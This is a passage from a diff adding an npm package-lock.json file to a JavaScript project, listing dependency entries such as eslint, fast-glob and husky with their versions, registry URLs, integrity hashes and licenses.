"MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", + "license": "MIT" + }, + "node_modules/dom-helpers": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", + "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.8.7", + "csstype": "^3.0.2" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.389", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.389.tgz", + "integrity": "sha512-cEto7aeOqBfU1D+c5py5pE+ooscKE75JifxLBdFUZsqAxRS6y7kebtxAZvICszSl05gPjYHDTjY+lXpyGvpJbg==", + "dev": true, + "license": "ISC" + }, + "node_modules/emoji-regex": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz", + "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==", + "dev": true, + "license": "MIT" + }, + "node_modules/enhanced-resolve": { + "version": "5.21.6", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.21.6.tgz", + "integrity": "sha512-aNnGCvbJ/RIyWo1IuhNdVjnNF+EjH9wpzpNHt+ci/m9He9LJvUN8wrCcXjp9cWsGNAuvSpVFTx/vraAFQ8qGjQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.3.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz", + "integrity": "sha512-zwfzJecQ/Uej6tusMqwAqU/6KL2XaB2VZ2Jg54Je6ahNBGNH6Ek6g3jjNCF0fG9EWQKGZNddNjU5F1ZQn/sBnA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=20.19.0" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/environment": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz", + "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/error-ex": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", + "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==", + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.1.tgz", + "integrity": "sha512-shc1dbU90Yl/xq1QrC7QRtfcwURZuVRfPhZbDoldJ1cn1gzDvBaBWlv0eFolj5+0znnPJz5TXLxsN77X/12KTA==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-toolkit": { + "version": "1.49.0", + "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.49.0.tgz", + "integrity": "sha512-G5iZ6Pc/FNRY/soKZHC+TxGDD83rHUDXxzaWhGCX44vAv/tMs56WMusnm/KMNK+luUPsgA9U28cGr4RDlSzL2g==", + "dev": true, + "license": "MIT", + "workspaces": [ + "docs", + "benchmarks" + ] + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "10.7.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-10.7.0.tgz", + "integrity": "sha512-GVTD7s1vdIl6UYvAfriOPeY1Df8LIZjfofLvHwde+erDHGGuHyuM6xoxRxmHiebhYuD2p1vN4wWh0XzPARSGDQ==", + "dev": true, + "license": "MIT", + "workspaces": [ + "packages/*" + ], + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.2", + "@eslint/config-array": "^0.23.5", + "@eslint/config-helpers": "^0.6.0", + "@eslint/core": "^1.2.1", + "@eslint/plugin-kit": "^0.7.2", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.14.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^9.1.2", + "eslint-visitor-keys": "^5.0.1", + "espree": "^11.2.0", + "esquery": "^1.7.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^8.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "minimatch": "^10.2.4", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-config-prettier": { + "version": "10.1.8", + "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz", + "integrity": "sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w==", + "dev": true, + "license": "MIT", + "bin": { + "eslint-config-prettier": "bin/cli.js" + }, + "funding": { + "url": "https://opencollective.com/eslint-config-prettier" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.1.1.tgz", + "integrity": "sha512-f2I7Gw6JbvCexzIInuSbZpfdQ44D7iqdWX01FKLvrPgqxoE7oMj8clOfto8U6vYiz4yd5oKu39rRSVOe1zRu0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.24.4", + "@babel/parser": "^7.24.4", + "hermes-parser": "^0.25.1", + "zod": "^3.25.0 || ^4.0.0", + "zod-validation-error": "^3.5.0 || ^4.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 || ^10.0.0" + } + }, + "node_modules/eslint-plugin-react-refresh": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.5.3.tgz", + "integrity": "sha512-5EMmLCV98Pi4o/f/3DP/v/tNqLHMIc9I8LKClNDWhZ9JTho89/kQcitCXQBMG7sAfVRK0Ie3T2EDOzp1YXYiVA==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "eslint": "^9 || ^10" + } + }, + "node_modules/eslint-scope": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-9.1.2.tgz", + "integrity": "sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@types/esrecurse": "^4.3.1", + "@types/estree": "^1.0.8", + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", + "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/ajv": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", + "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/eslint/node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/espree": { + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-11.2.0.tgz", + "integrity": "sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.16.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^5.0.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", + "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/expect-type": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", + "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.4.tgz", + "integrity": "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/file-entry-cache": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^4.0.0" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-root": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==", + "license": "MIT" + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.4" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/flatted": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", + "dev": true, + "license": "ISC" + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/generouted": { + "version": "1.20.2", + "resolved": "https://registry.npmjs.org/generouted/-/generouted-1.20.2.tgz", + "integrity": "sha512-Sx+aEC5o0MZIOs0FiqFJDAOQ1ZeWedrJ8SVr/sEK5quzI4kLRTZBHZAR+ivIb1Dw/lV5LrLWUBRsgeaR1UJ6qg==", + "license": "MIT", + "peerDependencies": { + "vite": ">=5" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-east-asian-width": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.6.0.tgz", + "integrity": "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/global-directory": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/global-directory/-/global-directory-5.0.0.tgz", + "integrity": "sha512-1pgFdhK3J2LeM+dVf2Pd424yHx2ou338lC0ErNP2hPx4j8eW1Sp0XqSjNxtk6Tc4Kr5wlWtSvz8cn2yb7/SG/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ini": "6.0.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globals": { + "version": "17.7.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-17.7.0.tgz", + "integrity": "sha512-Czmyns5dUsq4seFBR/Kdydhmo8y9kC79hiSkPn0YcGtNnYWnrgt0vjrSjx9tspoDGWm2CMarffRuLjM4xUz8xg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hermes-estree": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz", + "integrity": "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==", + "dev": true, + "license": "MIT" + }, + "node_modules/hermes-parser": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz", + "integrity": "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hermes-estree": "0.25.1" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "license": "BSD-3-Clause", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/hoist-non-react-statics/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/html-encoding-sniffer": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz", + "integrity": "sha512-CV9TW3Y3f8/wT0BRFc1/KAVQ3TUHiXmaAb6VW9vtiMFf7SLoMd1PdAc4W3KFOFETBJUb90KatHqlsZMWV+R9Gg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@exodus/bytes": "^1.6.0" + }, + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true, + "license": "MIT" + }, + "node_modules/husky": { + "version": "9.1.7", + "resolved": "https://registry.npmjs.org/husky/-/husky-9.1.7.tgz", + "integrity": "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==", + "dev": true, + "license": "MIT", + "bin": { + "husky": "bin.js" + }, + "engines": { + "node": ">=18" + }, + 